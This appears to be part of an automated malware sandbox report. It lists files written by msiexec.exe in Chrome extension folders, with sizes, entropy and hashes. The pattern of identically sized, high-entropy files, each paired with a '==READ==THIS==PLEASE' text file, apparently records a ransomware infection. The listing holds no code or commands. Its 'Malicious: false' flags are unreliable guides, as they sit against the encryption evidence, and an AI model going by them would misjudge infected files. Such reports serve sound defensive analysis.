SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\vi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.724216034570306
Encrypted:	false
MD5:	8EE921E240AEB53CE98D9BE942A76AD8
SHA1:	3B0331D6D3BE9B795EE1D1045B0E786A639CE9AE
SHA-256:	489F6F24ED19B27DB187EC5603BC10CA41CD53C6D5AA1BB863DE5DDA07ECF567
SHA-512:	B19EB8AF14985A8C2212669FDE93D5F33E5DDC3C61874866E7A140F03FB01AACCD6E5721D17D224218801678985793605FC2552C7BBC68B776A9A796DB1AAA56
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_CN\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7220223106932355
Encrypted:	false
MD5:	285EC89D433283F3EDF544F6FE109D78
SHA1:	36E82CC4B59ADD76A6F0F69C4A5FEFB19B7A3F5C
SHA-256:	ED28CFD4F7AC4EECBCECF9C43F063AA0F7783E2375371033BBD6328654C32BF1
SHA-512:	95C08A1F5108C8B8F8CEEFB4ED249FC66A24AE353E68E0AEFB62E6766CB736D0AB342CC8800B31A2E5A254F3CC4F53C34630E01B0F6986AFB3B14F370FD80017
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_TW\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670848408730763
Encrypted:	false
MD5:	E860A19E57C9ECFD9FD55354ADC772F8
SHA1:	521AD1EC9DE6539F558BA445EB32AFADA9BC1ADB
SHA-256:	7A1E44D63016348FBA9D2606A0E0696E24870F0269320B40315BF271897072A7
SHA-512:	D3896EA84996358DE657D2C7F2C4DE490998773F11419F7C6059BF29482942863B993D64E2365DE9EF5D97E01CBAC03409AA797ECBAFB557638C6D28D180B5EB
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\manifest.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69019442498153
Encrypted:	false
MD5:	6EDC9CB20764FED83B482AC7B1E6528E
SHA1:	8FD7A7EE0CE2DD77A2B07FF067F4A6763045DC74
SHA-256:	30CDBDBC603A2D39D49BDF2B75AA3931F156848F9292C21CF25EEF32BCCB03B4
SHA-512:	E71B63ACAF6FB9B5BDAB74A6FFF5C5FB87BB018D079D76B9BC2E4C68C342A705FA8C900AA42F4D6EB3373B385C565CF8DD3E3438EFC1C0DA010BEB4148B8181E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\128.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.73096090585982
Encrypted:	false
MD5:	5C6D5F95F997D772015EFF68159848A2
SHA1:	34BBFDC886475F64A4E6A247040F4E9B983C90B5
SHA-256:	EC49777D092E05BBE0E2FB7B1E6D9D254B67BCA867D0C5D1BEA782935242AEDA
SHA-512:	760F8E864300BFC0CBCBAF77E44711E71DEEAE14BFB8CD19E6134FE40E02711C07407584C31331D0603898ADE36C109C6DB02AA0BE5B439BE135A6AD52110EBF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\16.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6813748692110915
Encrypted:	false
MD5:	516C8814868EB9CFC262B409BC45E317
SHA1:	00EA40ABF2D8FB57E92E115B465F99CE55445E01
SHA-256:	8C81EBEA9943DA9B231E7978670E5EFE2C7821547C7B54AC6C4F793144AAD669
SHA-512:	81D643364F02C0D12EFE0026826ACAE3DACB3F9C8C418D7A432E59D9855F02268B7F823F467FA4E0CA72E74362AABA7317392F45C8391A0FB94A483675D35B90
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\32.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.70108531515087
Encrypted:	false
MD5:	5625B53644C36E305CD842B9BC3F73D3
SHA1:	6F4F8F3208117A4E4EC1E601A232A7074B3CBA60
SHA-256:	536F7B24ECAA059CEF9BDF54FFE64F9D555C133C5C99114560C51F091AB5EDB1
SHA-512:	9132FC786B9EBF6E1A3D9806A43797839389D40F265501BF06D71562BCE52C7B65A972D89CDD9E40A07AA3C44996726539F7B483675872980E3430905036CAB1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\48.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.707150602372448
Encrypted:	false
MD5:	863BD4448F360A0EB45DE0CAC9DDD639
SHA1:	728E28512A1EE8CDBCA7A629B9EF69AC188EE301
SHA-256:	23FE38199452E5726DB4396C07C7578A68CBCAC2B40158A9A8317B91EF350D6D
SHA-512:	5E949FDE8D8E7DF4F49A24C2EFE5B084EA5411D17C3F1253D8A6210E56926B2D35F3416EC25D69787DA200196F2B7E89CF023D170767D988D61690B42E47287B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ar\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7405588528194995
Encrypted:	false
MD5:	6D3A0962DBC5EB43F8F1E62792449359
SHA1:	23681AEEDD5EC1E14A0AF0D1FBF5C788EAC12DBC
SHA-256:	EE25C3BD2626F54ED9AE3B77B0AF8C206118E24528E5782BFCC018EED11129AC
SHA-512:	0980A612C0A9FD230DFD7C3E4AA4EEFDFB019E9F09664C24219A99AB4A044E9D755C458659A1B247020305DFEA6612DDC1108DE25D5875C2A3408AFACE5A273D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\bg\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.736331036200943
Encrypted:	false
MD5:	DDBF2B434B0789E1630EBBDFC38361E2
SHA1:	F35764512B3B283818ED2AD7198FDC5E7FB2DE3E
SHA-256:	8CE7D058C93ED7FC12A992AB6470222F84DAB0D1E1573B1C6BECB4C5C167D70C
SHA-512:	1E789ACBB6807DA2D6ECDE760820073FEC16F2A46B0E640CC7B0A93B9BA54F7FA81D5507BD23D98ECF4CAE75F4938C91B276FD91F405294B96765E65BF52DFC9
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ca\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6953088907585725
Encrypted:	false
MD5:	359E887D67EA72455D261969D523A4CC
SHA1:	0F049725AEE0857D481BBE9387A183ADA453CBFA
SHA-256:	10407B2302149F081795D7159BACE777AA055A18606C262E89700A99D658A1B0
SHA-512:	FE138DE6B2FB174A9F9580F995AB2B49ECFC6904FA74A629084947719B5461B40643F10ABBFAA0BDD76E4B0E35384AF837ED49300230E2E50E649876009313E2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\cs\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69110086194894
Encrypted:	false
MD5:	7B8BF852E5D4087668439020FE5915AA
SHA1:	6045869C5105C9606EECFF6DD1023D1E05587FB7
SHA-256:	54F38831B533C33CA7A6AED57CDD468C43E1D7DE31E54B9B1A9E8C3E5EF7B36E
SHA-512:	49A9830E1DC6B1963165719BD715634A1CE53B93EF0C4E06092282C7EF39A8BC816BED268599E1D79B28B760B4EDE0D10B61DBE9237311A45A78F42EB25595B4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\da\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.676385588812221
Encrypted:	false
MD5:	CAE89390529D897DDB191C5BE913E482
SHA1:	D0CE868B0634854BF4E7FB8B3B4AD182DC3B35CF
SHA-256:	D4DEE9B68B7AC4489C22B2FED5863F14DB4AD4E56DD2429E58AE3A80F19048DF
SHA-512:	C36C25E21490AC89E024B4C1C095F80405251DF3F1B6EA5A34E6BAD3F11B8F9C46651E7696BE53E78C5AA747BB38FFF33F03FB6A1C36D8DD18B18AFD7764788F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\de\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6842827945176815
Encrypted:	false
MD5:	A31F207314F47E9C54639401A5FF931E
SHA1:	BB97E5EE7169DB3DB92B5121022D2C622EFFF349
SHA-256:	3A8FCA1792217F4A70B4153306516F87227846ED33FEBFF2B0D277FB645D4871
SHA-512:	21C261C35F4D0711C515FD3F9D8AA74CB9D8A07BC9280AC56D2A803B70E72E729E776B8E3D481BD524958A5FEDAF88305A42BBF981EAA50FF26BFFC596CEB152
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\el\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687860179017953
Encrypted:	false
MD5:	76CDFF6198183EF5A2938FE91F9CB011
SHA1:	6096276A235723E948F4619CC7E29F5646574BEB
SHA-256:	80E5E5D96FFF54EE4B819FF1AFFA1255DB3DAE9A04C838FA35F01A797B443DB1
SHA-512:	898B9011C6289012131A9E450AC5D421351C8A3A3FC961C613E0C9A0638F34074DD27FF7BBEF713F48E91B0ECDD3060B6ECE94070E725AF140DF4D8D12A9F2F2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.656875301247452
Encrypted:	false
MD5:	C2F14621C30AE352A2DF790E8A9E6EAF
SHA1:	CE97A9E82300AF5D44A062CD53D54FDD50634875
SHA-256:	9BDBF1ABAB6977E29938EC5855BEACBD63D4A8CBFAF4EFF41773797A24FD5DFF
SHA-512:	37207E96BED67F493A9F6446B0A826277A40D618714E6956461493F91843289E07F68AC6DF427E3E243979B57A436C7624D2B41E17DD3A26045874E3E62D5643
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_GB\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_GB\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.741553909344198
Encrypted:	false
MD5:	51F3F01699DEA5E1E56C098DF24E0FAF
SHA1:	40474CA69BC7F8D58F1E31178AA1974B741A4B67
SHA-256:	C612F33B3687151F6E7E275D0BB4D921A2D6F12A216657F3D47F9E89DC3FBAE1
SHA-512:	07BFC801A5CACF6D220E6FE7FC39A5DFF3632DBBE94004C01D649AA24F04129854B661CC76DC44CE8C677EB61D01D911A46CF8BF3DCB96754EA3708DF7BDD4FC
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_US\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_US\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6790985001545815
Encrypted:	false
MD5:	CDEFF635488B71953360243AAC1ADAA2
SHA1:	C2DF6CEDD40DABC5D5A8808C778DE9840DF12534
SHA-256:	00C82C6DA67080D565EFBC75656641D252EFDF4FD303FA79AC6AA2C824D20D15
SHA-512:	595E36B18252B2C9B7AE5585F26D44A54EADA95E45C8D9CB23E6A81224A408DD441479809BAEF6916781EADA64032C996998E4D8B07CF51AAE2A730EB1D53207
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.657356993477499
Encrypted:	false
MD5:	6EA5D9E51B3E18EF391328E9FE54C60F
SHA1:	D9DA15A4ED21B92B5BCB8A95ECDD6077986ADD2D
SHA-256:	51B03FC524BAFAC3D3D58A66A28BF89C44ABEC0D9AC4E2C3519F3411539ED6F8
SHA-512:	55F33C51253B84677B458D44CBAA5E4A10E00E6494200DCD0E5AEFB8066E9CF9520D8F0308FA9BFF8C5368C611860D324407C8B0FE71B2826C43807C00F2E737
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es_419\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es_419\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701857883169468
Encrypted:	false
MD5:	3F48574A661A436DE8375A9DE6905117
SHA1:	94D75BB76E28660BF2A80DF463BA1484BFDBCCE6
SHA-256:	06F59A71251DA92AFD0F4BC435B81A659760B0398DACF1FF9D08828DDC6FEBF2
SHA-512:	9EEFD1F2EE219C29612FDC77B359B328BF81A4FDD8552F1EB1A84CFABA70D2A3EE271231600FC9EB37CF86EFDA198CBC637EBEE3F3FDA98012A53CF02B359CBA
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\et\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\et\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706639844899953
Encrypted:	false
MD5:	B8095BDA97E31219E0E9C4883D692B33
SHA1:	05C3FB135BEEC5A585671E67B5E0376D2054CC38
SHA-256:	C2322D02D1F667E8A737C212BD42CE949AA84BB875BE80E76AB68DCF3BFF4A1A
SHA-512:	9F54EECE72DD99F5DC320EBF61A40916BAF26A42FB352D945AB270F553FF0C6F22DD8908F130047C5ABE5DE80540E98616999B41497384882B1C6D3DC6493997
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68876771700393
Encrypted:	false
MD5:	954AD2604FCDE927C4950DFC8A0DF0E3
SHA1:	EC91EBFB107C633CEA2E8C003FB33941B96D23B7
SHA-256:	D3D1CA03EE7576E7A3A1663D382594FF07CC4A06118AE8542E6C1AC1149C72C2
SHA-512:	562F587067C487B6C89B74889468E1822D08AD5FA853EBCC792E8E0F7F67DFF1FA36165CB6B379CB520CE6F90A831795F7DF700DB8D1F4C8113BFB140AB4CE2E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

